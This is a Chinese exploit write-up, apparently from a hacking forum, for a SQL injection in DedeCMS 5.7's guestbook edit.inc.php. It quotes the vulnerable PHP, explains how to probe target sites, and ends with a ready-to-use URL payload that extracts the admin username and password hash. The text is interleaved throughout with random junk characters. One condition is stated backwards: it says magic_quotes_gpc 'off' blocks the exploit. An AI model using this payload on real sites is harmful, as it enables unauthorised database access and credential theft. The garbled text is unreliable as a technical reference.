影响版本为5.7- n3 @+ w6 U! b4 v5 u Q/ ^) V& i
( c9 t0 r, r* `: Q3 Z+ D! C, v
漏洞文件edit.inc.php具体代码:
5 D/ f" O4 [2 s( k2 u) N- n4 N: Y8 _* @- [; }
< ?php ) D a# {' {5 D7 \: q i
' ?5 p$ W5 S' V
if(!defined('DEDEINC')) exit('Request Error!'); 5 C6 {" _; e7 ~7 K+ L2 z
8 o" Z1 x5 y$ V2 E, I
" U7 r" R4 G; n- @7 ^% S, P/ `/ a! R
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; 5 A, C! \1 c: T9 Z
8 r, F1 O- D5 o1 h/ |! P) u/ g5 Qelse $GUEST_BOOK_POS = "guestbook.php";
" q# |. X* J' T3 t% f( F' J1 N" E- h( V
- H* J6 t) s5 }. i* v/ Y$ `, r" R7 ^; _& o8 B5 x# w; N. K
$id = intval($id);
I; r5 X( r& G- L/ Z! O, [+ @6 t
! y) f& F/ W: _8 h8 J) r# F; oif(empty($job)) $job='view';
; f4 Z3 b; `) V
0 g, t t) {% z6 V) M+ k * M0 H" m+ N6 q) O, o
6 z! l) F: e* U# m, N. J E% sif($job=='del' && $g_isadmin) `* l2 V2 b3 Y: V9 e6 ?
* M; n+ `9 i% }+ ]6 a6 `; w
{
' S7 P L( w/ C; }5 Z9 U6 c* d) {& m$ N2 Y$ `4 a6 s& V0 }2 V
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); ' P( M+ e9 @, `5 j
5 g; J4 f# ]- {' X1 hShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
* t z' j8 I5 m' ]2 { ?7 G
/ c; {# ^ V8 e, Aexit();
+ @3 D+ P: }. j, b/ t1 }* k R9 I6 t' Q
} + y8 L6 E0 ]4 D4 m+ M3 G
7 h5 I6 _ G6 J
else if($job=='check' && $g_isadmin) : \4 J1 I( o, h! a
. L4 I2 q( c; K9 p6 ?& x g# l6 A
{
' j, {! C9 F& G$ A' K& x4 S; _2 d
]+ c' C5 z( V" H4 o% b/ [$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
- B; ~9 P' h: u) H" m9 q% z, g7 _% e: P. P8 t- |2 y
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); 6 [1 ?; u6 r( X0 L% @
3 t. ^" m5 [2 A/ R
exit(); 3 K" _ w6 h3 Y6 I I
J2 m3 }% a) H+ w1 D}
9 w+ F& U$ P. U% g" F% B8 f2 ]: a& o" R$ H) ~
else if($job=='editok') 3 |7 D, q4 v# ^9 W' E
; h* _* z5 T3 {9 S% F
{ , ]$ D i( i- _2 R7 k+ ^
1 B4 Y. v4 c( B- o! v$remsg = trim($remsg);
* X8 E+ K& f5 r' y2 {
& R% |5 N9 k5 C9 U1 h" b9 Rif($remsg!='') - C) T* m( S1 K5 A) i& u U; e1 O
* b$ ?* k& ?. ?# m
{
4 k0 `0 @, `6 Y% E/ k
) Q# C3 s. ?# [/ ~: G, W1 l+ G//管理员回复不过滤HTML By:Errorera blog:errs.cc 2 A# `: ?. C+ |$ a7 M
& s, I0 C" ?1 A4 U
if($g_isadmin) 5 b0 A. q: ~ W. ^/ O) `
' ]' \/ |7 d8 b4 l W; g0 A{ : q/ U2 D- |( \; T. h2 G
2 T7 b4 [4 p, L7 k5 V, `
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; ; W; F3 B# Q a# \1 o5 m
7 j$ ?) T+ v) N1 q
//$remsg <br /><font color=red>管理员回复:</font> }
+ _8 L. ?5 g& D* V5 G, ?
& _4 [/ I) E* C: m; E6 ]else 4 D& N4 e- Z7 ^! }% r# P
w5 B! T# p3 \, \
{ ' j" v2 \( a0 [, b2 i$ z
" m% r/ V0 K# f
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); 5 N' H7 ^! e2 x) N
% D; u& R& {/ e6 H4 P( r* h$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; # `. M' h) ?: Z* w
/ \" P7 Q: {: y
$remsg = trimMsg(cn_substrR($remsg, 1024), 1); ; ~" v7 I0 ^" ]2 p- A) P& v
4 R+ O: L3 k$ T$msg = $oldmsg.$remsg; R; y) k% @! F5 _! `; F
. h3 v5 J; m' a. T/ R+ `
} + j7 D& |: _- ]
0 j6 o, x& \! J5 G% H% [$ Y}
$ [; t9 ?1 J" S& A3 ]% |
* a# ^9 P. t( d/ ?//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc 8 f, B# q+ `) {( r) o
! A. c0 g6 E: U- a& T& w$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); # w- Z9 K& A5 y1 G
1 x9 Q8 ?, r6 g) G# ~
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
/ T2 n: Q1 n- J1 g- P1 U9 k5 l5 s( t5 |; \" j) c; ~
exit(); $ K: \) x6 G4 B0 p7 r" ^% E
q0 E Q4 T: S5 R) ?
} * j Z: _! M j4 I. w
0 I& U9 t' w* }' D" \' |
//home:www.errs.cc ; ` m ? n2 S! `+ a0 ~
/ {7 M; y( F7 o+ A' pif($g_isadmin)
- E5 K. V9 z1 q( x8 y
. H n, k3 n7 ^* c: W; W{
% J5 R& u8 I& t3 k) n9 F8 {8 _. J+ E$ T6 m6 c! S5 T/ T
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); " p5 q" d+ X" v8 \9 B6 i- h# V
! F O$ T' e9 z) z5 l6 N
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); ( Q/ [9 x) _+ n$ U3 F C' e7 b. g
/ x. _: k5 _& G: V
}
' Y7 k* x' c% r. D5 @
7 i# d7 b; d! o4 c+ U- nelse 1 L6 \1 U h5 k3 W i0 u
( h4 x' Z) _' u{
/ Q0 e o$ S+ [4 ^6 h/ W0 m8 y: |# ]: C6 e# r3 U
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
; r, y8 [0 J2 G1 v- t
( _' }5 i/ ~2 Y8 X; trequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); : P# M( m: N6 r2 c4 G
! D: X7 d% l" H+ b} 漏洞成功需要条件:
' M( R8 X$ A3 W% q1. php magic_quotes_gpc=off
2 N8 M! i( Z9 d5 y4 z% c2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
9 X7 I/ N* o5 S$ ?. \! z. c& I4 o& |6 r9 }! ]1 Y
怎么判断是否存在漏洞:
7 D6 e: N8 a# M, G" }3 z先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
' \$ d4 E% Q8 h5 `) H" W然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID ^0 b% H" Q1 S5 r
访问: m5 T* i/ ~$ v; n8 F( h
4 t! k) B/ w9 c3 s' bwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了2 M5 W7 Q" t, i3 b6 Q8 W# \
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证0 W" c |- v. o! a
0 k' p* o# C0 j- h8 {
, V6 f9 E6 m/ t, z9 F# U, R7 G明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
' h. O% ?8 W! h9 b/ J9 X0 j如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
, _1 s8 y& A' H: `那么再次访问- G/ m% J; V" y" |* f
- w! @/ r6 R: X B
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
# z# P! D( {% ]. q+ z
4 ]! F2 C- N, E7 A! U大概利用就是这样,大家有兴趣的多研究下!!
+ S7 }( ^- p6 y' B1 }
: }' h0 @( _# W" x, l0 J4 L/ x8 v7 n最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!: X3 |/ L- M3 o4 l2 G6 ~& H. }
7 m" W, u& d5 ?view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |